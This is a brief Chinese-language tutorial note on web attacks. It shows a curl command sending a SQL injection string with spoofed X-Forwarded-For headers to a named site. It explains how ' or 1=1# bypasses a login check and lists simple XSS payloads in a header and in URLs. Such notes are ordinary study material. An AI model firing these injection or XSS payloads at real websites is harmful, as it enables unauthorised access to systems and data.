d:\Users\Administrator\Desktop\curl-7.80.0-win64-mingw\bin>curl.exe -Iv http://www.bj2342.cn/?id=1'or'1'='1 -H "X-Forwarded-For:1.1.1.1" -H "X-Forwarded-For:2.2.2.2"
select * from users where username=’’ or 1=1#’ and password=balabala
我们分析下语义,在SQL语法中 # 是注释符,所以后面的语句都会杯注释掉,那么上面的语句就等价于
select * from users where username=’’ or 1=1
我们知道SQL语句中where相当于判断语句,并且是由 or 连接的,所以 username=’’ 和 1=1 中有一个为真就为真。1=1肯定为真,所以语句又等价于
select * from users
这个语句的作用是爆出表中的所有字段。
也就是说我们用 ‘or 1=1# 这么一个字符串就可以绕开登陆的密码,直接进入程序。当然这仅限于那些可以被注入的程序或者网页噢
————————————————
XSS模拟
d:\Users\Administrator\Desktop\curl-7.80.0-win64-mingw\bin>curl -iH "XSS: <svg onload=alert(1)>" http://xxx.xxx.com
http://www.example.com/<script>alert('hello');</script>
http://www.example.com/x=<script>alert(1)</script>